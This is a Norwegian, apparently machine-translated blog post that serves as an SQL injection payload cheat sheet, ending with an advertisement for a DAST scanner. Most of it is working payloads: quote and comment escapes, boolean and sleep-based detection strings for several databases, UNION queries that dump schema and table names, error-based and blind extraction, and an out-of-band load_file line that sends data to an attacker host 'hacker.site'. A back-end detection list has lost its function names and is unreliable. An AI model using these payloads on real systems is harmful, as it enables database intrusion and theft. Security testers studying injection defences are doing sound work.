SQL – Injeksjon Nyttelast: Hvordan sqli utnytter arbeid
Hva er EN SQL-Injeksjon nyttelast?
SQL Injection representerer et sikkerhetsproblem på nettet som gjør det mulig for angripere å vise data som de ikke skal kunne, ved å la angriperen forstyrre spørringene som et program gjør til databasen ved å injisere skadelig SQL injection nyttelast.
Lær mer Om SQL – Injeksjonsangrep i dette blogginnlegget-Hva ER SQL-Injeksjoner Og Hvordan Kan DE Forhindres
i dette blogginnlegget skal vi dekke hvordan du kontrollerer om et nettsted er sårbart For SQLi og DE forskjellige SQL – injeksjonsnyttelastene som brukes til å utnytte ulike TYPER SQL – injeksjonssårbarheter.
I denne artikkelen:
Bekrefter SQLi: Registrering av inngangspunkt
hvis du vil finne ut om programmene er sårbare For SQLi, og du kan bruke nyttelastene som følger, må du først kunne injisere data i spørringen uten å bryte den. Det første trinnet er å finne ut hvordan du kan flykte fra den nåværende konteksten.
Prøv et av disse nyttige eksemplene:
'
"
`
')
")
`)
'))
"))
`))
for å fikse spørringen kan du skrive inn data slik at den forrige spørringen godtar de nye dataene, eller du kan skrive inn data og legge til et kommentarsymbol på slutten.
denne fasen blir enklere hvis du kan se feilmeldinger eller du kan identifisere om / når en spørring fungerer eller ikke.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Bekrefte SQLi ved hjelp av logiske operasjoner
du kan bekrefte ET SIKKERHETSPROBLEM FOR SQL-injeksjon ved å utføre en logisk operasjon. Hvis du får det forventede resultatet, bekreftet Du SQLi.
slik ser det ut i praksis:
HVIS get-parameteren ?username=John
returnerer det samme innholdet som ?username=John'
eller '1'='1
, fant DU et SIKKERHETSPROBLEM MED SQL-injeksjon.
dette konseptet fungerer også for matematiske operasjoner:
hvis ?id=1
returnerer det samme som ?id=2-1
, fant DU et SIKKERHETSPROBLEM MED SQL-injeksjon.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Bekrefter SQL-injeksjon Med Timing
i noen tilfeller når du prøver å bekrefte En SQLi, vil det ikke være en merkbar endring på siden du tester. Dette indikerer En Blind SQL, som kan identifiseres ved å få databasen til å utføre handlinger som vil påvirke tiden siden må lastes inn.
Vi skal legge TIL SQL-spørringen en operasjon som vil ta lengre tid å utføre, for eksempel å utføre følgende:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
søvnfunksjonene er ikke alltid tillatt, så gjør en spørring utføre komplekse operasjoner som vil ta flere sekunder i stedet.
Identifisere Back-end
Ulike backends har ulike funksjoner, som kan identifiseres utfører disse funksjonene. Eksempler på disse funksjonene er:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Union Based SQL Injection Payloads
Oppdager antall kolonner
begge spørringene (den opprinnelige Og den vi endrer) må returnere samme antall kolonner. Men hvordan vet vi antall kolonner den første forespørselen returnerer? Vi bruker vanligvis en av de to følgende metodene for å få antall kolonner:
Order / Group by
selv om GROUP BY
og ORDER BY
har forskjellige funksjoner I SQL, kan de begge brukes til å bestemme antall kolonner i spørringen. Øk tallet til du får et falskt svar:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
når DET gjelder UNION SELECT, setter du inn et økende antall nullverdier til spørringen er gyldig:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
hvorfor brukes nullverdier? Det er tilfeller der typen av kolonnene på begge sider av spørringen må være den samme. Null er gyldig i alle tilfeller.
Pakk ut databasenavn, tabeller og kolonnenavn
i de følgende eksemplene skal vi hente navnet på alle databasene, tabellnavnene fra en database og kolonnenavnene på tabellen:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
metoden som brukes til å oppdage disse dataene vil variere fra selve databasen, men det er alltid den samme metoden.
Feilbasert NYTTELAST FOR SQL-Injeksjon
hvis spørringsutgangen ikke er synlig, men du kan se feilmeldingene, kan du få disse feilmeldingene til å eksfiltrere dataene fra databasen.
I Likhet Med Eksemplet For Fagforeningsbasert utnyttelse, kan du dumpe databasen:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL-Injeksjoner Nyttelast
I Tilfelle Av Blind SQL-injeksjon, kan du ikke se resultatene av spørringen eller feilene, men du kan skille når spørringen returnerte en sann eller usann svar basert på forskjellig innhold på siden.
du kan misbruke den oppførselen for å dumpe databasen char av char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Feil Blind SQL Injection Payloads
som navnet antyder, er Dette veldig lik Blind SQL injection, men denne gangen trenger du ikke å skille mellom et sant eller falskt svar. Du sjekker om DET er en feil I SQL-spørringen eller ikke, ved å tvinge EN SQL-feil hver gang du gjetter riktig:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Tidsbasert NYTTELAST For SQL-Injeksjon
du kan bruke denne teknikken først og fremst når du skal utnytte blinde sårbarheter der du bruker en annen spørring til å utløse ET DNS-oppslag, betinget feil eller en tidsforsinkelse.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stablede Spørringer
Stablede spørringer kan brukes til å utføre flere spørringer etter hverandre. Mens de påfølgende spørringene utføres, blir resultatene ikke returnert til søknaden. Du kan bruke denne teknikken når blind sårbarheter der du bruker en annen spørring til å utløse ET DNS-oppslag, betinget feil eller en tidsforsinkelse.
Mens Oracle og MySQL ikke støtter stablede spørringer, Støtter Microsoft og PostgreSQL dem: QUERY-1-HERE; QUERY-2-HERE
Ut av bandet SQLi Nyttelaster
hvis ingen av utnyttelsesmetodene nevnt ovenfor fungerte for deg, kan du prøve å gjøre databasen exfiltrere dataene til en ekstern vert kontrollert av deg. For EKSEMPEL kan DU bruke DNS-spørringer:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Oppdag SQL-Injeksjon Ved Hjelp Av Nexploit
Neuralegions Nexploit automatiserer deteksjon og utbedring av hundrevis av sårbarheter, inkludert SQL-injeksjon.
ved å integrere DAST-skanninger tidlig i utviklingsprosessen, kan utviklere og sikkerhetseksperter oppdage sårbarheter tidlig og utbedre dem før de vises i produksjon.
Med Nexploit skanningene er gjort i løpet av minutter og resultatene kommer med null falske positiver. Dette gjør det mulig for utviklere å ta i bruk løsningen og bruke den gjennom hele utviklingssyklusen.
Skann en hvilken som helst webapp eller API for å forhindre SÅRBARHETER I SQL-injeksjon-prøv NeuraLegion Nexploit gratis.